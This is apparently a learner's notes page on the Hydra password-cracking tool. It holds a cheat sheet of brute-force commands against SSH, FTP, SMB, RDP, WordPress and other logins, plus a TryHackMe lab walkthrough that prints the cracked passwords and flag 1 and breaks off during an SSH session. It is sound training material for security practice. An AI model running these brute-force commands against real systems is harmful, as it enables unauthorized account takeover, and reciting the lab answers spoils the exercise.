🐉Hydra

https://www.kali.org/tools/hydra/

What is Hydra?

Hydra is a popular open-source password cracking tool that can be used to perform brute-force attacks on login credentials of various network protocols, including FTP, HTTP, SSH, Telnet, and others. It uses different attack methods, including dictionary attacks, brute-force attacks, and hybrid attacks, to guess passwords and gain unauthorized access to a system.

Hydra can be used to test the strength of passwords used in network systems and identify potential vulnerabilities that may be exploited by attackers. It is often used by security professionals, network administrators, and penetration testers as a tool to assess the security of their systems and identify weaknesses that need to be addressed.

According to its official repository, Hydra supports, i.e., has the ability to brute force the following protocols: “Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, TeamSpeak (TS2), Telnet, VMware-Auth, VNC and XMPP.”

Installing Hydra

If you prefer to use the Kali machine, Hydra also comes pre-installed, as is the case with all Kali distributions.

However, you can check its official repositories if you prefer to use another Linux distribution. For instance, you can install Hydra on an Ubuntu or Fedora system by executing apt install hydra or dnf install hydra. Furthermore, you can download it from its official THC-Hydra repository.

Cheatsheet

The following table uses the $ip variable which can be set with the following command:

export ip 10.10.10.2

Command

Description

hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.2.26.221 ftp

Hydra FTP unknown user and psw (metasploit or rockyou user/password list)

hydra -P password-file.txt -v $ip snmp

Hydra brute force against SNMP

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

Hydra FTP known user and rockyou password list

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh

Hydra SSH using a known password and a username list

hydra $ip -s 22 ssh -l -P big_wordlist.txt

Hydra SSH Against Known username on port 22

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra POP3 Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra SMTP Brute Force

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra attack http get 401 login with a dictionary

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

Hydra brute force SMB user with rockyou:

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Hydra brute force a Wordpress admin login

hydra -L usernames.txt -P passwords.txt $ip smb -V -f

SMB Brute Forcing

hydra -L users.txt -P passwords.txt $ip ldap2 -V -f

LDAP Brute Forcing

Example of usage

SSH

hydra -l <username> -P <full path to pass> 10.10.44.136 -t 4 ssh

Option

Description

-l

specifies the (SSH) username for login

-P

indicates a list of passwords

-t

sets the number of threads to spawn

For example, hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.44.136 -t 4 ssh will run with the following arguments:

Hydra will use root as the username for ssh
It will try the passwords in the rockyou.txt file
There will be four threads running in parallel as indicated by -t 4

If you don't know user, you can use users wordlist using flag -L wordlist_name: -L usr/share/wordlists.rockyou.txt/usr/share/wordlists.rockyou.txt

Post Web Form

We can use Hydra to brute force web forms too. You must know which type of request it is making; GET or POST methods are commonly used. You can use your browser’s network tab (in developer tools) to see the request types or view the source code.

sudo hydra <username> <wordlist> 10.10.44.136 http-post-form "<path>:<login_credentials>:<invalid_response>"

Option

Description

-l

the username for (web form) login

-P

the password list to use

http-post-form

the type of the form is POST

<path>

the login page URL, for example, login.php

<login_credentials>

the username and password used to log in, for example, username=^USER^&password=^PASS^

<invalid_response>

part of the response when the login fails

-V

verbose output for every attempt

Below is a more concrete example Hydra command to brute force a POST login form:

hydra -l <username> -P <wordlist> 10.10.44.136 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

The login page is only /, i.e., the main IP address.
The username is the form field where the username is entered
The specified username(s) will replace ^USER^
The password is the form field where the password is entered
The provided passwords will be replacing ^PASS^
Finally, F=incorrect is a string that appears in the server reply when the login fails

Room THM

Task 1 - Use Hydra to bruteforce molly's web password. What is flag 1?

Go to website: 10.10.226.238:80

and try to login with "default" credentials: admin:password.

We use Burp Suite and Foxy Proxy to intercept traffic and request:

After this, we turn off Foxy Proxy and retry to login with the same credentials:

The form and parameters to use with Hydra for Post-Web-Form are:

sudo hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.226.238 http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect."

user (-l): molly
wordlist (-P): /usr/share/wordlists/rockyou.txt
IP: 10.10.226.238
method: http-post-form "/login:username=^USER^&password=^PASS^:
error message: Your username or password is incorrect."

sudo hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.226.238 http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect."

molly:sunshine

We can login using them and finding flag1.

🚩 Flag 1

THM{2673a7dd116de68e85c48ec0b1f2612e}

Task 2 - Use Hydra to bruteforce molly's SSH password. What is flag 2?

The form and parameters to use with Hydra for SSH are:

sudo hydra -l <username> -P <full path to pass> $IP -t 4 ssh

user (-l): molly
wordlist (-P): /usr/share/wordlists/rockyou.txt
IP: 10.10.226.238
port: ssh

sudo hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.226.238 ssh

molly:butterfly

We can login with ssh using them and finding flag2.

ssh molly@10.10.226.238
molly@10.10.226.238's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

65 packages can be updated.
32 updates are security updates.


Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
molly@ip-10-10-226-238:~$ ls -l
total 4
-rw-rw-r-- 1 molly molly 38 Dec 17  2019 flag2.txt
molly@ip-10-10-226-238:~$ cat flag2.txt